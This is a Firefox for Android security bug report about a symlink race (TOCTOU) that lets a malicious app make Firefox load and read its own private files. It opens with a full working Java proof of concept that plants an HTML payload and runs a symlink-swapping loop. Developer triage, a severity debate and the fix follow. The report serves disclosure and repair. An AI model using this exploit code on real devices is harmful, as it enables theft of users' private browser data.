Firefox for Android - Theft of sensitive data
Categories
(Fenix :: General, defect)
Tracking
(firefox84 wontfix, firefox85 wontfix, firefox86 fixed)
People
(Reporter: gnehsoah, Assigned: agi, NeedInfo)
References
()
Details
(Keywords: reporter-external, sec-moderate, Whiteboard: [reporter-external] [client-bounty-form] [verif?][post-critsmash-triage][adv-main86+])
Attachments
(4 files)
There is a TOCTOU vulnerability that can lead to the theft of users' private files (such as cookies databases) in /data/data/org.mozilla.firefox/ .
PoC:
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
try {
File payload = new File(getDataDir(), "test.html");
payload.delete();
payload.createNewFile();
payload.setReadable(true, false);
payload.setWritable(true, false);
payload.setExecutable(true, false);
FileOutputStream fos = null;
fos = new FileOutputStream(payload);
String evilhtml = "<html>\n" +
"<h1 id=\"try\"></h1>\n" +
"<script>\n" +
"let count = 1;\n" +
"let timer = setInterval(()=>{\n" +
" document.getElementById(\"try\").innerHTML = \"try \" + count;\n" +
" count++;\n" +
" let xhr = new XMLHttpRequest();\n" +
" try {\n" +
" xhr.open(\"GET\", location.href, false);\n" +
" xhr.send();\n" +
" if(xhr.responseText.indexOf(\"#evilhtml#\") == -1) {\n" +
" alert(xhr.responseText);\n" +
" clearInterval(timer);\n" +
" }\n" +
" } catch(error){\n" +
" //console.log(error);\n" +
" }\n" +
"\n" +
"}, 100)\n" +
"</script>\n" +
"</html>";
fos.write(evilhtml.getBytes());
fos.close();
Thread.sleep(1000); //adjust millis
Intent intent = new Intent();
intent.setComponent(new ComponentName("org.mozilla.firefox", "org.mozilla.gecko.LauncherActivity"));
intent.setAction(Intent.ACTION_VIEW);
intent.setData(Uri.fromFile(payload));
startActivity(intent);
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
try {
Thread.sleep(5000); //adjust millis
} catch (InterruptedException e) {
e.printStackTrace();
}
Thread createFileThread = new Thread() {
@Override
public void run() {
while(running) {
try {
File payload = new File(getDataDir(), "test.html");
payload.delete();
payload.createNewFile();
Runtime.getRuntime().exec("ln -sf /data/data/org.mozilla.firefox/shared_prefs/org.mozilla.firefox_preferences.xml "
+ payload.getAbsolutePath()).waitFor();
payload.setReadable(true, false);
payload.setWritable(true, false);
payload.setExecutable(true, false);
}
catch(Exception e) {
// should be never thrown
e.printStackTrace();
}
}
}
};
createFileThread.start();
}
Firefox Version: 84.1.2
Android Version: 9
Steps to reproduce:
- Open the PoC app. (app-debug.apk)
- It will theft the private file of firefox. (/data/data/org.mozilla.firefox/shared_prefs/org.mozilla.firefox_preferences.xml)
Screen record:
https://drive.google.com/file/d/1rdvHF_i9tFuxLLilcNCBVJKcxnIz3L8y/view?usp=sharing
Updated•4 years ago
|
Comment 2•4 years ago
|
||
Christian has done work with intents in the past. Please evaluate the risk here.
Comment 3•4 years ago
|
||
I think the summary here is:
- Malicious app creates a symlink from
$DATADIRECTORY/test.html
to/data/data/org.mozilla.firefox/shared_prefs/org.mozilla.firefox_preferences.xml
- Malicious app sets file permissions so that any app can read
$DATADIRECTORY/test.html
- Malicious app asks Firefox to open
test.html
, which is linked to...preferences.xml
and thus that file loads
What we see is Firefox opening a file that it owns. It does look sketchy but it works because Firefox can read it's own org.mozilla.firefox_preferences.xml
.
We do not see the 'stolen' file leave Firefox. Is that something that is possible?
If we have code that prevents files from /data/data/org.mozilla.firefox/ to be loaded, do have to amend that code with something to resolve symlinks?
Looping in Agi because I think we dealt with something very similar in Fennec that was also around symlinks. I can't find the bug for that one though - Kevin do you know?
Assignee | ||
Comment 4•4 years ago
|
||
This looks similar to https://bugs.chromium.org/p/chromium/issues/detail?id=144866
Assignee | ||
Comment 5•4 years ago
•
|
||
Stefan, I think the bug you're thinking about is Bug 1647078
Assignee | ||
Comment 6•4 years ago
|
||
we should probably consider forbidding any files from loading as content html from the data
dir in GeckoView, that's a big footgun otherwise.
Comment 7•4 years ago
|
||
Where would we make this change? Would this be in GeckoView or Android-Components?
Comment 8•4 years ago
|
||
Christian has done work with intents in the past. Please evaluate the risk here.
I'd recommend sec-moderate in line with https://bugs.chromium.org/p/chromium/issues/detail?id=144866 as it requires a malicious app to be installed.
Where would we make this change? Would this be in GeckoView or Android-Components?
I think we should fix this in both GeckoView and Fenix/A-C:
- In Fenix as we don't support loading
file://
URLs and therefore should also not support them via intents - In GV as we might want to support it in the future or in other GV apps and should prevent loading internal files as content
Comment 9•4 years ago
|
||
Christian how do you feel about shipping this in 85? We still have three weeks of Beta ahead of us, is that enough time?
Because this requires a malicious app on the side, I would suggest to not uplift to 84.
Comment 10•4 years ago
|
||
Christian how do you feel about shipping this in 85?
Fenix/A-C change should be fine but let's decide once the fix and reviews are up tomorrow?
Assignee | ||
Comment 11•4 years ago
|
||
Christian responded, but yeah we should disallow loading data
paths in GV and disallow loading a file
intent in Fenix/AC.
Comment 12•4 years ago
|
||
I was wrong about Fenix not supporting file://
URLs when loaded via the toolbar. Despite all issues being closed as "won't fix", loading a local file works fine. I just successfully loaded an image from file://storage/...
in Fenix release (84.1.2).
So the GV solution above would be sufficient, but the Fenix/A-C one would only cover intents.
Updated•4 years ago
|
Comment 13•4 years ago
|
||
Agi, Sebastian and I discussed this some more:
- A short-term fix in GV to disallow loading app-internal files isn't realistic.
- Loading
file://
URLs in Fenix works by accident and is not officially supported.
We decided to work on a short-term fix in A-C to prevent loading file://
and content://
URLs. A bigger discussion will be needed if we ever want to support file://
URLs.
Assignee | ||
Comment 14•4 years ago
|
||
Updated•4 years ago
|
Comment 15•4 years ago
|
||
A-C/Fenix fix landed in Nightly (210107 17:00).
Comment 16•4 years ago
|
||
https://hg.mozilla.org/mozilla-central/rev/d0c2b70d78ad
Please nominate for Beta approval when you get a chance.
Updated•4 years ago
|
Comment 17•4 years ago
|
||
I think uplifting the A-C fix to A-C 70 (for Fenix 85) is sufficient. We don't necessarily need the GV fix uplifted. This would also cover 1659035.
Assignee | ||
Comment 18•4 years ago
|
||
Yeah the fix in AC should be enough, the GV fix is there so that if we ever allow more protocols in the URL bar the intent case is still covered.
Updated•4 years ago
|
Comment 19•4 years ago
|
||
What's in the shared_prefs directory? Is that fixed "Firefox" generated data or actual user settings? On Desktop and Fennec we used randomized profile names to prevent this kind of blind poking into user sensitive data like cookies and localstorage, etc.
Assignee | ||
Comment 20•4 years ago
|
||
It depends on the app, but it would normally contain UI preferences like "theme" , default font size, default tracking protection options and the like.
Redirecting to Stefan in case Fenix does something unexpected with shared preferences.
Assignee | ||
Updated•4 years ago
|
Reporter | ||
Comment 21•4 years ago
|
||
The profile path is random, but the attacker can get it by reading the /data/user/0/org.mozilla.firefox/files/mozilla/profiles.ini
file.
Comment 22•4 years ago
|
||
(In reply to gnehsoah from comment #21)
The profile path is random, but the attacker can get it by reading the
/data/user/0/org.mozilla.firefox/files/mozilla/profiles.ini
file.
But that's not within the shared_prefs folder, right?
Reporter | ||
Comment 23•4 years ago
|
||
Maybe I didn’t make it clear, this vulnerability can read files in the /data/data/org.mozilla.firefox/
directory, including /data/user/0/org.mozilla.firefox/files/mozilla/profiles.ini
files, not limited to the shared_prefs folder.
Comment 24•4 years ago
|
||
(In reply to Agi Sferro | :agi | ni? for questions | ⏰ PST | he/him from comment #20)
Redirecting to Stefan in case Fenix does something unexpected with shared preferences.
This is what I have in /data/data/org.mozilla.firefox/shared_prefs
:
-rw-rw---- 1 u0_a195 u0_a195 154 2020-10-21 14:34 MOZAC_GECKO_ENGINE.xml
-rw-rw---- 1 u0_a195 u0_a195 5673 2021-01-08 11:04 __leanplum__.xml
-rw-rw---- 1 u0_a195 u0_a195 352 2020-10-21 14:34 __leanplum_push__.xml
-rw-rw---- 1 u0_a195 u0_a195 122 2020-10-21 14:34 adjust_preferences.xml
-rw-rw---- 1 u0_a195 u0_a195 122 2021-01-08 11:04 androidx.work.util.id.xml
-rw-rw---- 1 u0_a195 u0_a195 2519 2021-01-08 10:34 com.google.android.gms.appid.xml
-rw-rw---- 1 u0_a195 u0_a195 65 2020-10-21 14:35 core_prefs_kp_post_m.xml
-rw-rw---- 1 u0_a195 u0_a195 173 2020-10-21 14:35 core_prefs_kp_pre_m.xml
-rw-rw---- 1 u0_a195 u0_a195 553 2021-01-08 10:43 fenix-search-engine-provider.xml
-rw-rw---- 1 u0_a195 u0_a195 129 2020-10-21 14:35 fenix.onboarding.xml
-rw-rw---- 1 u0_a195 u0_a195 640 2021-01-08 10:57 fenix_preferences.xml
-rw-rw---- 1 u0_a195 u0_a195 65 2020-10-21 14:34 fxaStateAC_kp_pre_m.xml
-rw-rw---- 1 u0_a195 u0_a195 162 2021-01-08 10:34 mozac.service.location.region.xml
-rw-rw---- 1 u0_a195 u0_a195 161 2020-10-21 14:34 mozac_feature_accounts_push.xml
-rw-rw---- 1 u0_a195 u0_a195 329 2021-01-08 10:34 mozac_feature_push.xml
-rw-rw---- 1 u0_a195 u0_a195 206 2021-01-08 10:34 mozilla.telemetry.glean.scheduler.MetricsPingScheduler.xml
-rw-rw---- 1 u0_a195 u0_a195 116 2020-10-21 14:35 org.mozilla.fenix.components.metrics.ActivationPing.prefs.xml
-rw-rw---- 1 u0_a195 u0_a195 116 2020-10-21 14:35 org.mozilla.fenix.components.metrics.FirstSessionPing.prefs.xml
-rw-rw---- 1 u0_a195 u0_a195 857 2021-01-08 10:45 org.mozilla.firefox_preferences.xml
I think some of those files have things that we don't like to be easily pulled out of the app. I see a bunch of things like:
- FCM Push Token
fxa_push_scope
- Some Leanplum data
fxaStateAC_kp_pre_m.xml
I don't know how sensitive any of this is. If shared preferences are considered unsafe then we can start an effort to move things to a different place. But for this I would need advice from someone more familiar with Android details/security.
Comment 25•4 years ago
•
|
||
I would like some more feedback on this from an Android expert, but I think Shared Preferences are fine except in two cases:
- Having root access to the device (which IMO is game over, and requires some serious steps to get there)
- Application errors that accidentally expose shared preferences
However, I think as a best practice, Google is recommending that Shared Preferences are encrypted through androidx.security:security-crypto
, which has a EncryptedSharedPreferences
. As with all Android on-device crypto, whether this improves things probably greatly depends on the Android version/flavor and Device.
Who can weigh in? Personally I like hardening our data storage to make accidental file exposure less of a risk.
Asking Grisha, Sebastian and Christian to give this a thought and leave some comments here.
Updated•4 years ago
|
Updated•4 years ago
|
Comment 26•4 years ago
|
||
Christian told me via Slack that exploiting this bug would include private data. Bumping to sec-high.
Comment 27•4 years ago
|
||
After a bit of a discussion, we are re-considering it as sec-moderate.
The bug violates the SOP and allows reading sensitive data, but it still requires a malicious app to be present on the user's device.
Comment 28•4 years ago
|
||
Clearing NI. Enabling file:// urls in Fenix depends on Bug 1684947.
Updated•4 years ago
|
Comment 29•4 years ago
|
||
Updated•4 years ago
|
Updated•3 years ago
|
Updated•3 years ago
|
Updated•2 years ago
|
Updated•9 months ago
|
Description
•